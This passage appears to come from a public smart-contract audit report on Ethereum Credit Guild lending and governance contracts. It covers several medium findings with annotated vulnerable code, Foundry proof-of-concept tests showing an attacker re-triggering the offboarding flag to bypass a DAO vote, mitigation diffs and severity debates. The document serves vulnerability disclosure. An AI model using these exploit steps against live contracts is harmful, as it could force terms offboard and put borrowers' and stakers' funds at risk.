vm.expectRevert("LendingTermOffboarding: not all loans closed");
offboarder.cleanup(address(term));
// ------------------------------------------------------------------------------ //
// ---<< Waiting for all term's loans to be closed to execute the cleanup() >>--- //
// ------------------------------------------------------------------------------ //
// Next 10 days
// Offboarding poll expired
vm.roll(block.number + 66460); // 10 days
vm.warp(block.timestamp + 66460 * 13);
assertGt(block.number, OFFBOARDING_POLL_END_BLOCK);
// While waiting for all term's loans to be closed, the term gets re-onboarded
vm.stopPrank();
assertEq(guild.isGauge(address(term)), false);
guild.addGauge(1, address(term));
assertEq(guild.isGauge(address(term)), true);
// The canOffboard[term] flag is still active since the cleanup() hasn't been called
assertEq(offboarder.canOffboard(address(term)), true);
// Next 30 days
vm.roll(block.number + 199380); // 30 days
vm.warp(block.timestamp + 199380 * 13);
// Attacker offboards the term by overriding the DAO vote offboarding mechanism
// The attacker did not need to hold any guild tokens to exploit this vulnerability
address Attacker = address(1);
vm.startPrank(Attacker);
assertEq(guild.isGauge(address(term)), true);
offboarder.offboard(address(term));
assertEq(guild.isGauge(address(term)), false);
}
Recommended Mitigation Steps
Implement a proper mechanism for resetting the canOffboard[term]
flag once the associated lending term has been re-onboarded.
It is worth noting that the canOffboard[term]
flag should be reset after the term re-onboarding operation has successfully been executed by Timelock (when the term is already active) to prevent other security issues.
eswak (Ethereum Credit Guild) confirmed, but disagreed with severity and commented:
Confirming this, but disagree with severity. I think medium is more fit for this, given the unlikely situation of re-onboarding a term that just has been offboarded, and that no user funds are at risk.
TrungOre (judge) decreased severity to Medium
serial-coder (warden) commented:
I disagree with the sponsor’s and judge’s statements.
“the unlikely situation of re-onboarding a term that just has been offboarded”
The attack scenario described in this report does not rely on the situation that “the term must be re-onboarded within only a few days after it has been offboarded”. Specifically, after the term is offboarded, there will be a time gap waiting for all loans to be called and closed in order to explicitly terminate the term via the
cleanup()
(to reset thecanOffboard[term]
flag).This time gap can be a long period (e.g., a couple of weeks/months). Before all loans are closed, the term can be proposed and granted for re-onboarding (the
canOffboard[term]
flag is still set to true).Then, the attacker can wait for a long period (e.g., a couple of months) before attacking. The coded PoC proves that the target term can be re-onboarded after being offboarded for 10 days (or even later), and the attacker can launch the attack operation (immediately offboard the target term) after the target term has re-onboarded for 30 days (or even later).
“no user funds are at risk”
The attacker can wait for a long period before attacking (e.g., a couple of months — please thoroughly consider the coded PoC for the proof.). In the meantime, after the target term has been re-onboarded, several GUILD holders can vote for it, and then the term can re-issue new loans.
Once the attacker launches the attack operation, the target term will be forced to immediately offboard, bypassing the DAO vote offboarding. Clearly, the loan borrowers’ funds and the stakers’ funds are at risk.
In other words, the attack will impact both borrowers (whose loans are forced to be called and closed maliciously) and stakers (who vote for the term via the
SurplusGuildMinter
contract will be slashed with all their CREDIT principal and GUILD rewards).The vulnerability also impacts the protocol by breaking the governance decision, which is a core feature of the protocol. For this reason, the HIGH severity is proper for this report.
@serial-coder - I still believe its severity is medium, since the attacker still needs enough votes for re-onboarding before
cleanup()
. This malicious action is still preventable, by vetoing the onboarding proposal. Therefore, it should be considered as low likelihood with high cost.
Note: For full discussion, see here.
[M-06] Re-triggering the canOffboard[term]
flag to bypass the DAO vote of the lending term offboarding mechanism
Submitted by serial-coder, also found by Arz, rbserver, 0xmystery, deth, xeros, 0xpiken, rvierdiiev, DanielArmstrong, Shubham, 0x70C9, and 0xAlix2
The LendingTermOffboarding
contract allows guild holders to poll to remove a lending term. If the voting weight is enough, the lending term can be offboarded without delay. Further, the offboarded term can be re-onboarded to become an active term through the LendingTermOnboarding::proposeOnboard()
following up with the voting mechanism.
The following briefly describes the steps for offboarding the lending term through the LendingTermOffboarding
contract:
- Anyone executes the
proposeOffboard()
to create a poll for offboarding the term. The poll has an age of~7 days
. - Guild holders cast votes for offboarding the term via
supportOffboard()
. - If the poll has not ended and the voting weight is enough, the
canOffboard[term]
flag will be set. - If the
canOffboard[term]
flag is set; anyone can execute theoffboard()
to offboard the term. - All loans of the offboarded term have to be called and closed.
- After all loans have been closed, the
cleanup()
can be invoked to explicitly terminate the term and reset thecanOffboard[term]
flag.
The following roughly describes the steps for re-onboarding the offboarded lending term through the LendingTermOnboarding
contract:
- The offboarded term can be proposed for re-onboarding through the
proposeOnboard()
. - Guild holders cast votes for the term.
- If the vote is successful, the term re-onboarding operation is queued in the Timelock.
- After the Timelock delay, the term can be re-onboarded to become an active lending term again.
Vulnerability Details
This report describes the vulnerability in the LendingTermOffboarding
contract, allowing an attacker to force the re-onboarded lending term to offboard by overriding the DAO vote offboarding mechanism. In other words, the attacker is not required to create an offboarding poll and wait for the vote to succeed in offboarding the target term.
The following explains the attack steps:
- As per steps 1 - 6 for offboarding the lending term previously described above, the lending term will be offboarded (via the
offboard()
) and cleaned up (via thecleanup()
). Thecleanup()
will reset thecanOffboard[term]
flag so that no one can execute theoffboard()
orcleanup()
on the terminated term again. - However, the offboarding poll has an age of
~7 days
. As long as the poll has not ended, an attacker can execute thesupportOffboard()
to cast a vote to re-trigger thecanOffboard[term]
flag. - Assuming that the target offboarded term has been proposed and successfully granted for re-onboarding (see steps 1 - 4 previously described above for re-onboarding the offboarded lending term).
- The attacker can force offboarding the target re-onboarded term, overriding the DAO vote offboarding mechanism by invoking the
offboard()
since thecanOffboard[term]
flag has been re-triggered in step 2.
After successfully re-triggering the canOffboard[term]
flag in step 2, the attacker can suddenly offboard the target re-onboarded term whenever they will, regardless of how long the target term has been re-onboarded, how long the offboarding poll has expired, or how long the canOffboard[term]
flag has been re-triggered (please refer to the Proof of Concept
section for the coded PoC).
function cleanup(address term) external whenNotPaused {
require(canOffboard[term], "LendingTermOffboarding: quorum not met");
require(
LendingTerm(term).issuance() == 0,
"LendingTermOffboarding: not all loans closed"
);
require(
GuildToken(guildToken).isDeprecatedGauge(term),
"LendingTermOffboarding: re-onboarded"
);
// update protocol config
core().revokeRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, term);
core().revokeRole(CoreRoles.GAUGE_PNL_NOTIFIER, term);
// unpause psm redemptions
if (
--nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
) {
SimplePSM(psm).setRedemptionsPaused(false);
}
@1 canOffboard[term] = false; //@audit -- After all offboarded term's loans have been closed, the cleanup() can be executed to explicitly clean up the term and reset the canOffboard[term] flag
emit Cleanup(block.timestamp, term);
}
function supportOffboard(
uint256 snapshotBlock,
address term
) external whenNotPaused {
@2 require(
@2 block.number <= snapshotBlock + POLL_DURATION_BLOCKS, //@audit -- The lending term offboarding poll has an age of ~7 days
@2 "LendingTermOffboarding: poll expired"
@2 );
uint256 _weight = polls[snapshotBlock][term];
require(_weight != 0, "LendingTermOffboarding: poll not found");
uint256 userWeight = GuildToken(guildToken).getPastVotes(
msg.sender,
snapshotBlock
);
require(userWeight != 0, "LendingTermOffboarding: zero weight");
require(
userPollVotes[msg.sender][snapshotBlock][term] == 0,
"LendingTermOffboarding: already voted"
);
userPollVotes[msg.sender][snapshotBlock][term] = userWeight;
polls[snapshotBlock][term] = _weight + userWeight;
@3 if (_weight + userWeight >= quorum) {
@3 canOffboard[term] = true; //@audit -- Attacker can cast a vote to re-trigger the canOffboard[term] flag
@3 }
emit OffboardSupport(
block.timestamp,
term,
snapshotBlock,
msg.sender,
userWeight
);
}
function offboard(address term) external whenNotPaused {
@4 require(canOffboard[term], "LendingTermOffboarding: quorum not met"); //@audit -- Attacker can force offboarding the re-onboarded term, overriding the DAO vote offboarding mechanism
// update protocol config
// this will revert if the term has already been offboarded
// through another mean.
GuildToken(guildToken).removeGauge(term);
// pause psm redemptions
if (
nOffboardingsInProgress++ == 0 &&
!SimplePSM(psm).redemptionsPaused()
) {
SimplePSM(psm).setRedemptionsPaused(true);
}
emit Offboard(block.timestamp, term);
}
@1 - After all offboarded term's loans have been closed, the cleanup() can be executed to explicitly clean up the term and reset the canOffboard[term] flag
: See here.
@2 - The lending term offboarding poll has an age of ~7 days
: See here.
@3 - Attacker can cast a vote to re-trigger the canOffboard[term] flag
: See here.
@4 - Attacker can force offboarding the re-onboarded term, overriding the DAO vote offboarding mechanism
: See here.
Impact
The active re-onboarded lending term can be forced to immediately offboard, bypassing the DAO vote offboarding, which is the protocol’s core mechanism. Subsequently, the attacked lending term will block all new loans from being issued and prevent guild holders from voting for the term.
Moreover, all loans previously issued by the attacked term can be called putting the loans for bidding silently (since the attacker bypasses the DAO vote offboarding mechanism). If one of the loans fails on bidding to fill up the loan’s principal, the term’s loss will be notified. As a result, all users who stake credit tokens through the SurplusGuildMinter
contract to vote for the attacked term will be slashed with all their credit principal and guild rewards.
Proof of Concept
Place the testPoCBreakingDaoVoteOffboarding()
in the .test/unit/governance/LendingTermOffboarding.t.sol
file and run the test using the forge test --match-test testPoCBreakingDaoVoteOffboarding -vvv
command:
function testPoCBreakingDaoVoteOffboarding() public {
// Prepare for Attacker
address Attacker = address(1);
guild.mint(Attacker, 1);
vm.prank(Attacker);
guild.delegate(Attacker);
// Prepare for Bob
guild.mint(bob, _QUORUM);
vm.startPrank(bob);
guild.delegate(bob);
uint256 POLL_DURATION_BLOCKS = offboarder.POLL_DURATION_BLOCKS();
uint256 snapshotBlock = block.number;
uint256 OFFBOARDING_POLL_END_BLOCK = snapshotBlock + POLL_DURATION_BLOCKS;
// Bob proposes an offboarding of the term
assertEq(guild.isGauge(address(term)), true);
offboarder.proposeOffboard(address(term));
// Next 1 day
vm.roll(block.number + 6646); // 1 day
vm.warp(block.timestamp + 6646 * 13);
assertLe(block.number, OFFBOARDING_POLL_END_BLOCK);
vm.expectRevert("LendingTermOffboarding: quorum not met");
offboarder.cleanup(address(term));
// Bob votes for offboarding the term and executes the offboarding (he has a sufficient voting weight)
assertEq(guild.isGauge(address(term)), true);
assertEq(offboarder.canOffboard(address(term)), false);
offboarder.supportOffboard(snapshotBlock, address(term));
offboarder.offboard(address(term));
assertEq(guild.isGauge(address(term)), false);
assertEq(offboarder.canOffboard(address(term)), true);
// Cannot clean up because loans are active
vm.expectRevert("LendingTermOffboarding: not all loans closed");
offboarder.cleanup(address(term));
// Next 1 day
vm.roll(block.number + 6646); // 1 day
vm.warp(block.timestamp + 6646 * 13);
assertLe(block.number, OFFBOARDING_POLL_END_BLOCK);
// Get enough CREDIT to pack back interests
vm.stopPrank();
uint256 debt = term.getLoanDebt(aliceLoanId);
credit.mint(alice, debt - aliceLoanSize);
// Alice closes loan
vm.startPrank(alice);
credit.approve(address(term), debt);
term.repay(aliceLoanId);
vm.stopPrank();
// Clean up the term
assertEq(psm.redemptionsPaused(), true);
assertEq(offboarder.nOffboardingsInProgress(), 1);
offboarder.cleanup(address(term));
assertEq(psm.redemptionsPaused(), false);
assertEq(offboarder.nOffboardingsInProgress(), 0);
assertEq(offboarder.canOffboard(address(term)), false); // The canOffboard[term] flag has been reset
assertEq(core.hasRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term)), false);
assertEq(core.hasRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term)), false);
// Attacker votes for offboarding the term to re-trigger the canOffboard[term] flag again
vm.startPrank(Attacker);
assertEq(offboarder.canOffboard(address(term)), false);
offboarder.supportOffboard(snapshotBlock, address(term));
assertEq(offboarder.canOffboard(address(term)), true); // Attacker has re-triggered the canOffboard[term] flag
vm.stopPrank();
// Next 10 days
// Offboarding poll expired
vm.roll(block.number + 66460); // 10 days
vm.warp(block.timestamp + 66460 * 13);
assertGt(block.number, OFFBOARDING_POLL_END_BLOCK);
// The term is re-onboarded
assertEq(guild.isGauge(address(term)), false);
guild.addGauge(1, address(term));
assertEq(guild.isGauge(address(term)), true);
// Next 30 days
vm.roll(block.number + 199380); // 30 days
vm.warp(block.timestamp + 199380 * 13);
assertEq(guild.isGauge(address(term)), true);
assertEq(psm.redemptionsPaused(), false);
assertEq(offboarder.nOffboardingsInProgress(), 0);
// Attacker offboards the term by overriding the DAO vote offboarding mechanism
vm.startPrank(Attacker);
offboarder.offboard(address(term));
assertEq(guild.isGauge(address(term)), false);
assertEq(psm.redemptionsPaused(), true);
assertEq(offboarder.nOffboardingsInProgress(), 1);
}
Recommended Mitigation Steps
Implement a proper mechanism for preventing the (active) lending term offboarding poll from re-triggering the canOffboard[term]
flag, or deprecating the poll from further voting if the associated lending term has been cleaned up (via the cleanup()
).
eswak (Ethereum Credit Guild) confirmed, but disagreed with severity and commented:
Thanks for the very high quality report!
Confirming this, but disagree with severity. I think medium is more fit for this, given the unlikely situation of re-onboarding a term that just has been offboarded, and that no user funds are at risk.
TrungOre (judge) decreased severity to Medium and commented:
I agree that this issue should be a med. Duplicating this for the issues that share the same root cause: missing update states for re-onboarded terms.
serial-coder (warden) commented:
I disagree with the sponsor’s statement.
“the unlikely situation of re-onboarding a term that just has been offboarded”
The attack scenario described in this report does not rely on the situation that “the term must be re-onboarded within only a few days after it has been offboarded”. Precisely, as long as the
cleanup()
is executed before the offboarding poll has ended, the attacker can execute thesupportOffboard()
to cast a vote to re-trigger thecanOffboard[term]
flag.The attacker can then wait for a long period (e.g., a couple of months) before attacking. The coded PoC proves that the target term can be re-onboarded after being off-boarded for 12 days (or even later), and the attacker can launch the attack operation (immediately offboard the target term) after the target term has re-onboarded for 30 days (or even later).
“no user funds are at risk”
After re-triggering the
canOffboard[term]
flag, the attacker can wait for a long period before attacking (e.g., a couple of months — please thoroughly consider the coded PoC for the proof.). In the meantime, after the target term has been re-onboarded, several GUILD holders can vote for it, and then the term can re-issue new loans.Once the attacker launches the attack operation, the target term will be forced to immediately offboard, bypassing the DAO vote offboarding.
Clearly, the loan borrowers’ funds and the stakers’ funds are at risk.
In other words, the attack will impact both borrowers (whose loans are forced to be called and closed maliciously) and stakers (who vote for the term via the
SurplusGuildMinter
contract will be slashed with all their CREDIT principal and GUILD rewards).The vulnerability also impacts the protocol by breaking the governance decision, which is a core feature of the protocol. For this reason, the HIGH severity is proper for this report.
I still keep medium severity for this issue, since it doesn’t cause any direct loss. It could end up to locking funds in contracts, but funds can be still recovered by Governor.
Note: For full discussion, see here.
[M-07] There is no way to liquidate a position if it breaches maxDebtPerCollateralToken
value creating bad debt.
Submitted by sl1, also found by carrotsmuggler, Aymen0909, glorySec, 0xDemon, Tendency, Beepidibop, and 0x70C9
Liquidations in the system are done via LendingTerm._call()
, which will auction the loan’s collateral to repay outstanding debt. A loan can be called only if the term has been offboarded or if a loan missed a periodic partialRepay
. To understand the issue, we must understand how the loan is created and how it can be called.
First, when a loan is created through a call to _borrow()
, the contract checks if the borrowAmount
is lesser than the maxBorrow
:
uint256 maxBorrow = (collateralAmount * params.maxDebtPerCollateralToken) / creditMultiplier;
require(
borrowAmount <= maxBorrow,
"LendingTerm: not enough collateral"
);
It calculates maxBorrow
using params.maxDebtPerCollateralToken
. For example, if maxDebtPerCollateralToken
is 2000e18, then with 15e18 tokens of collateral, a user can borrow up to 30_000
of CREDIT tokens.
It’s also important to understand how liquidations work in the system. If we were to look at _call()
function we could notice that it only allows liquidations in two specific cases:
require(
GuildToken(refs.guildToken).isDeprecatedGauge(address(this)) ||
partialRepayDelayPassed(loanId),
"LendingTerm: cannot call"
);
It will only allow to call a position if a term is depreciated or if the loan missed periodic partial repayment. This approach creates problems and opens up a griefing attack vector.
There are few ways it can go wrong. Let’s firstly discuss an issue that will arise even for a non-malicious user.
In order for a user to not get liquidated, he must call partialRepay()
before a specific deadline set in term’s parameters. If we look at the _partialRepay()
function:
require(
debtToRepay >= (loanDebt * params.minPartialRepayPercent) / 1e18,
"LendingTerm: repay below min"
);
We can see, that it enforces user to repay at least params.minPartialRepayPercent
, which may not always be enough for a position to stay “healthy”. By “healthy” I mean a position that does not breach maxDebtPerCollateralToken
value, which is a parameter of a LendingTerm.
Imagine a scenario:
- Interest rate = 15%
minPartialRepayPercent
= 10%maxDebtPerCollateralToken
= 2000
User borrows 30_000
CREDIT with 15 TOKENS of collateral. His debtPerCollateral
value is 30_000 / 15 = 2000
, which is exactly equal to maxDebtPerCollateralToken
.
Now a year has passed, the loanDebt
(debt + interest) is 34_500
, a user is obligated to repay at least 34_500 * 0.1 = 3450
. After partial repayment his debtPerCollateral
value is (34500 - 3450) / 15 = 2070
. While he breached the maxDebtPerCollateralToken
value, his position is not callable, because he did not miss a periodic partial repayment.
Also it’s worth noting, that currently even if a user missed a periodic partial repayment, he can still make a call to partialRepay()
if his position was not yet called. Because of this, it will be easier for such situation to occur, since the interest will be accruing and when a user finally calls partialRepay()
he is still only obligated to repay at least minPartialRepayPercent
for a position that went even deeper underwater.
Currently, due to a combination of multiple factors, bad debt can essentially occur and it will be impossible to liquidate such position without offboarding a term.
Now let’s talk about a potential malicious behaviour that is encouraged in the current implementation. Periodic partial repayments are not enforced for every term, they may or may not be enabled, so the only condition for a liquidation in this case is a depreceated term. This means that basically every position is essentially “unliquitable”, because partialRepayDelayPassed()
will always return false in such case:
function partialRepayDelayPassed(
bytes32 loanId
) public view returns (bool) {
// if no periodic partial repays are expected, always return false
if (params.maxDelayBetweenPartialRepay == 0) return false;
A malicious user can abuse this by not repaying his loan or by not adding collateral to his loan when interest accrues above maxDebtPerCollateralToken
.
There will be no way to do anything with such positions, the only possible solution would be to offboard a full term. This will obviously damage the protocol, as offboarding a term means calling every position, which subsequently increases a chance of a loss occurring. Also by offboarding a term, lenders will miss out on interest, because every position is force-closed.
The current plan of the protocol was to have
partialRepay
of at leastinterestRate
every year, so that positions do not grow into insolvent territory.
It’s hard and unreasonable to know every set of parameters that can lead to debtPerCollateral
being greater than maxDebtPerCollateralToken
even after partialRepay
. After a discussion with the sponsor, it was said that ultimately the protocol team will not be the only one to deploy new terms, so it’s better to enforce a proper liquidation flow in the contract.
Proof of Concept
Here is the PoC demonstrating this issue. For the sake of simplicity I did not change the protocol’s test suite configuration, but I just wanted to show that this is possible with any parameters (even the ones expected by the team), because a loan can still be partially repaid even if it missed partial repay deadline. I mentioned this earlier in my report, saying that this is the reason that makes this situation even easier to occur.
function testBreakMaxDebtPerCollateralToken() public {
// prepare
uint256 borrowAmount = 30_000e18;
uint256 collateralAmount = 15e18;
collateral.mint(address(this), collateralAmount);
collateral.approve(address(term), collateralAmount);
credit.approve(address(term), type(uint256).max);
// borrow
bytes32 loanId = term.borrow(borrowAmount, collateralAmount);
vm.warp(block.timestamp + (term.YEAR() * 3));
// 3 years have passed, and now position's debt is 39_000
uint256 loanDebt = term.getLoanDebt(loanId);
assertEq(loanDebt, 39_000e18);
// A user is able to call partialRepays even if he missed partialRepays deadline
term.partialRepay(
loanId,
(loanDebt * _MIN_PARTIAL_REPAY_PERCENT) / 1e18
);
// After repaying just minPartialRepayPercent, a debtPerCollateralToken of the position is 2080, which is greater than maxDebtPerCollateral
uint256 newLoanDebt = term.getLoanDebt(loanId);
assertEq((newLoanDebt / 15e18) * 1e18, 2080000000000000000000);
assertGt((newLoanDebt / 15e18) * 1e18, _CREDIT_PER_COLLATERAL_TOKEN);
// A position cannot be called
vm.expectRevert("LendingTerm: cannot call");
term.call(loanId);
}
Please add this function to LendingTerm.t.sol and run it with forge test --match-test 'testBreakMaxDebtPerCollateralToken' -vv
.
In conclusion I want to say that parameters of a LendingTerm are only limited to a logical sort of degree, i.e:
- Interest rate can be anything from 0 to 100%.
maxDelayBetweenPartialRepay
can be anything from 0 to 1 year.minPartialRepayPercent
can be anything from 0 to 100%.
Because of this the situation is bound to occur. It’s better to enforce strict rules on the smart contract level.
Recommended Mitigation Steps
If periodic partial repays are turned on, the possible solution would be to enforce the maxDebtPerCollateral
check in _partialRepay
, that will enforce users to repay an amount that would make debtPerCollateralToken
value lesser than maxDebtPerCollateralToken
value.
Something like this would be sufficient enough:
require(loan.debtPerCollateralToken <= param.maxDebtPerCollateralToken, "Position is not healthy.");
In the case of partial repays being turned on, it’s important to have this check in _partialRepay()
rather than in _call()
, because otherwise almost every position would immediately go underwater and be liquidatable as soon as it gets opened if a user borrowed up to the maximum amount. It’s fine to have debtPerCollateralToken
greater than maxDebtPerCollateralToken
until user makes a partialRepay
.
In the case of periodic partial repays being turned off, the check must be in _call()
, since there will be no partial repays. Check if debtPerCollateralToken
value is lesser than maxDebtPerCollateral
token, otherwise liquidate a position, but that would mean that users won’t be able to borrow up to maxDebtPerCollateral
, since their position will immediately go underwater; it seems to be a matter of trade-offs. This the potential way to modify _call()
:
require(
GuildToken(refs.guildToken).isDeprecatedGauge(address(this)) ||
partialRepayDelayPassed(loanId) ||
(params.maxDelayBetweenPartialRepay == 0 &&
loan.debtPerCollateralToken > params.maxDebtPerCollateral),
"LendingTerm: cannot call"
);
eswak (Ethereum Credit Guild) confirmed and commented:
Confirming this, thanks for the high quality of the report!
On one hand, I think it might be considered a governance issue if the chosen term parameters allow loans to grow into unsafe territory, and that the situation is handled properly in the current implementation because GUILD holders can offboard the term if any loan of the term is unsafe. On the other hand, I don’t think it’s a large code change to allow loans to be called if they violate the “max debt check that is in
_borrow
” during their lifetime. It is an elegant addition to the codebase that we’ll probably do, so I think it’s worth including in the audit report.
@TrungOre - I would like to point out that this issue is about loans violating
maxDebtPerCollateral
check that is in_borrow()
function during their lifetime.The current implementation of a LendingTerm offers 2 ways a system can work: partial repays may be enabled and may be disabled. In my submission, I clearly state two impacts of this issue to the system, one for the case when partial repays are expected and loans cannot be called despite violating aforementioned check and one for the case when partial repays are not expected and in such case loans also cannot be called, despite violating the check. The root cause of this is the lack of
health factor
check and notmaxDelayBetweenPartialRepay
being set to0
.Other issues grouped under this primary do not correctly identify the root cause, do not describe the same vulnerability and only talk about the specific case when
maxDelayBetweenPartialRepay = 0
, thus the recommended mitigations for such issues also do not address the problem properly. Given all of this context, I would like to ask you to reevaluate the judging on relevant duplicates under this primary.
@sl1 - Firstly, I want to refer to the sponsor’s statement and point out that your scenario is also a case of unsafe configs for a lending term.
On one hand, I think it might be considered a governance issue if the chosen term parameters allow loans to grow into unsafe territory, and that the situation is handled properly in the current implementation because GUILD holders can offboard the term if any loan of the term is unsafe.
The configs in your scenario require a large interest rate and repayment duration, resulting in growing interest higher than
minPartialRepayPercent
. I believe the likelihood of this scenario doesn’t differ from the case whenmaxDelayBetweenPartialRepay
== 0
, as both cases represent unsafe and risky configs that need careful on-boarding and off-boarding from governance and users.From the start, I had doubts about the severity of whether these issues should be considered as medium or QA, since everyone will be aware of the term’s configs before onboarding. However, I acknowledge that these represent potential risks, and the mitigation is both useful and necessary.
Secondly, there are only 2 cases that can cause a loan to breach
maxDebtPerCollateralToken
: a lending term with interest growing faster than the minimum repayment (your scenario) and a lending term with non-periodic payment loans (maxDelayBetweenPartialRepay
== 0
). Both of these unsafe cases lack a liquidation mechanism when the loan exceedsmaxDebtPerCollateralToken
. Therefore, I believe they share the same root cause and should be marked as duplicates.
Note: For full discussion, see here.
[M-08] Repayers using EOA accounts can be affected if bad debt is generated when they are repaying loans
Submitted by 0xStalin
Repayers using EOA accounts will need to spend more PeggedTokens than what they should to get the needed CreditTokens to repay a loan if the market accrues bad debt while the repayer is doing the repayment.
Proof of Concept
When repaying loans, the LendingTerm::_repay()
function computes the total loanDebt
to be repaid (includes interest). It pulls the CreditTokens from the repayer the computed value of the loanDebt
, then distributes interest, burns the principal, updates the issuance and finally transfers back the borrower’s collateral to the borrower.
The problem is that this existing implementation forces the repayer to mint in advance the amount of loanDebt
to be repaid. The thing is that EOA accounts can’t do the minting of the required CreditTokens and also repay the loan in the same transaction. EOA accounts will first mint the CreditTokens and then will send a separate tx to repay the loan. If bad debt is generated in the system and the creditMultiplier
is decremented (between the time when tx of the repayer to mint the CreditTokens and when the tx to repay the loan is actually executed), the repayer will be impacted by the bad debt, because the amount of minted CreditTokens won’t be enough to cover the new value that will be computed for the loanDebt
(since the creditMultiplier
shrank, more CreditTokens will be required to cover the same debt). This will cause the tx to repay the loan to revert, since the repayer won’t have enough CreditTokens in its balance.
More importantly, now, the repayer will be forced to mint more CreditTokens; which means the repayer will need to spend more PeggedTokens to mint the extra CreditTokens that are required to cover the new value of the loanDebt
. That means the repayer was impacted by the bad debt that was generated in the system. The design of the protocol is such that bad debt is covered by stakers, surplus buffer, and CreditToken holders. However, it is important to make a distinction between a holder who is holding the CreditTokens expecting a return on his investments, and a repayer who was forced to mint CreditTokens before repaying his loan. Repayers are already paying interests and fees, it is not fair to impact them if bad debt is generated in the system while they are repaying their loans.
Let’s run some numbers to demonstrate the impact of this current implementation.
- Assume
creditMultiplier
is 1e18 (has not been updated), UserA borrowed 100 CreditTokens and the current value of theloanDebt
to repay the loan is 120 CreditTokens to cover the interests and fees. - UserA goes to the PSM module and deposits 120 PeggedTokens in exchange for 120 CreditTokens.
- The user now goes ahead to call the
repay()
to repay his loan. Before the UserA tx to repay the loan is executed, some loans accrue bad debt in the system and cause thecreditMultiplier
to shrink to 0.9e18. - Now, when the user tx is finally executed, the new value of the
loanDebt
will be~133 CreditTokens
. This will cause the tx to revert because UserA only minted the required amount ofloanDebt
which was 120 CreditTokens. - Now, the user will need to go again to the PSM module to mint the extra CreditTokens and will need to spend more collateral to mint those extra CreditTokens (
~14
more PeggedToken).
As a result of the current implementation, UserA was forced to spend more PeggedTokens to repay his debt. If we assume CreditTokens are gUSDC and PeggedTokens are USDC, now, to repay the loan, the UserA was forced to spend ~134
USDC instead of 120USDC that is the real value of the debt to be repaid.
In LendingTerm.sol:
//@audit-issue => A repayer could compute how much CreditTokens are required to repay a loan by calling this function, the computed value will be based on the current value of the creditMultiplier
//@audit-issue => The repayer would then go and mint the amount returned by this function before calling the `repay()` to finally repay his loan
/// @notice outstanding borrowed amount of a loan, including interests
function getLoanDebt(bytes32 loanId) public view returns (uint256) {
...
// compute interest owed
uint256 borrowAmount = loan.borrowAmount;
uint256 interest = (borrowAmount *
params.interestRate *
(block.timestamp - borrowTime)) /
YEAR /
1e18;
uint256 loanDebt = borrowAmount + interest;
uint256 _openingFee = params.openingFee;
if (_openingFee != 0) {
loanDebt += (borrowAmount * _openingFee) / 1e18;
}
uint256 creditMultiplier = ProfitManager(refs.profitManager)
.creditMultiplier();
//@audit-info => The loanDebt is normalized using the current value of the `creditMultiplier`. loanDebt includes interests and fees accrued by the original borrowAmount
loanDebt = (loanDebt * loan.borrowCreditMultiplier) / creditMultiplier;
return loanDebt;
}
//@audit-issue => The problem when repaying the loan is if bad debt was generated in the system, now, the value of the `creditMultiplier` will be slightly lower than when the user queried the total amount of CreditTokens to be repaid by calling the `getLoanDebt()`
function _repay(address repayer, bytes32 loanId) internal {
...
...
...
// compute interest owed
//@audit-issue => Now, when repaying the loan, the creditMultiplier will be different, thus, the computed value of the loanDebt will be greater than before, thus, more CreditTokens will be required to repay the same loan
uint256 loanDebt = getLoanDebt(loanId);
uint256 borrowAmount = loan.borrowAmount;
uint256 creditMultiplier = ProfitManager(refs.profitManager)
.creditMultiplier();
uint256 principal = (borrowAmount * loan.borrowCreditMultiplier) /
creditMultiplier;
uint256 interest = loanDebt - principal;
//@audit-issue => The amount of `loanDebt` CreditTokens are pulled from the repayer, this means, the repayer must have already minted the CreditTokens and it also granted enough allowance to the LendingTerm contract to spend on his behalf!
/// pull debt from the borrower and replenish the buffer of available debt that can be minted.
CreditToken(refs.creditToken).transferFrom(
repayer,
address(this),
loanDebt
);
...
...
...
}
Recommended Mitigation Steps
The most straightforward solution to mitigate this problem is to allow the repayers to mint the exact required amount of CreditTokens to repay their loans within the same tx when the loan is actually being repaid. It can be added as an option for any repayer who wants to go that route and protect themselves against bad debt generated in the system while they are repaying their loans.
Those who don’t want to mint the exact amount of CreditTokens that are required to repay the loan can follow the current implementation where the CreditTokens will be pulled from their balance. If enabled, the LendingTerm based on the computed loanDebt
will pull the exact amount of PeggedTokens that are required to mint the exact amount of CreditTokens to repay the loan, and by using the PSM module, the LendingTerm will mint the exact required amount of CreditTokens and will transfer the PeggedTokens that were pulled from the repayer.
LendingTerm.sol
+ function _repay(address repayer, bytes32 loanId, bool mintCreditTokens) internal {
...
// compute interest owed
uint256 loanDebt = getLoanDebt(loanId);
...
- /// pull debt from the borrower and replenish the buffer of available debt that can be minted.
- CreditToken(refs.creditToken).transferFrom(
- repayer,
- address(this),
- loanDebt
- );
+ if(mintCreditTokens) {
+ //@audit-info => Computes the exact amount of peggedTokens that are required to repay the debt
+ uint256 peggedTokensToRepay = SimplePSM(refs.psmModule).getRedeemAmountOut(loanDebt);
+ address pegToken = SimplePSM(refs.psmModule).pegToken();
+ //@audit-info => Pull the peggedTokens to repay the debt from the repayer into the LendingTerm
+ ERC20(pegToken).safeTransferFrom(repayer, address(this), peggedTokensToRepay);
+ //@audit-info => Mint the exact CreditTokens to repay the debt
+ //@audit-info => The PSM module will pull the PeggedTokens from the LendingTerm and will mint the CreditTokens to the LendingTerm contract
+ uint256 repaidCreditTokens = SimplePSM(refs.psmModule).mint(peggedTokensToRepay);
+ assert(repaidCreditTokens == loanDebt)
+ } else {
+ /// Pull debt from the borrower and replenish the buffer of available debt that can be minted.
+ CreditToken(refs.creditToken).transferFrom(
+ repayer,
+ address(this),
+ loanDebt
+ );
+ }
if (interest != 0) {
// forward profit portion to the ProfitManager
CreditToken(refs.creditToken).transfer(
refs.profitManager,
interest
);
// report profit
ProfitManager(refs.profitManager).notifyPnL(
address(this),
int256(interest)
);
}
// burn loan principal
CreditToken(refs.creditToken).burn(principal);
RateLimitedMinter(refs.creditMinter).replenishBuffer(principal);
// close the loan
loan.closeTime = block.timestamp;
issuance -= borrowAmount;
// return the collateral to the borrower
IERC20(params.collateralToken).safeTransfer(
loan.borrower,
loan.collateralAmount
);
// emit event
emit LoanClose(block.timestamp, loanId, LoanCloseType.Repay, loanDebt);
}
Assessed type
Context
eswak (Ethereum Credit Guild) confirmed and commented:
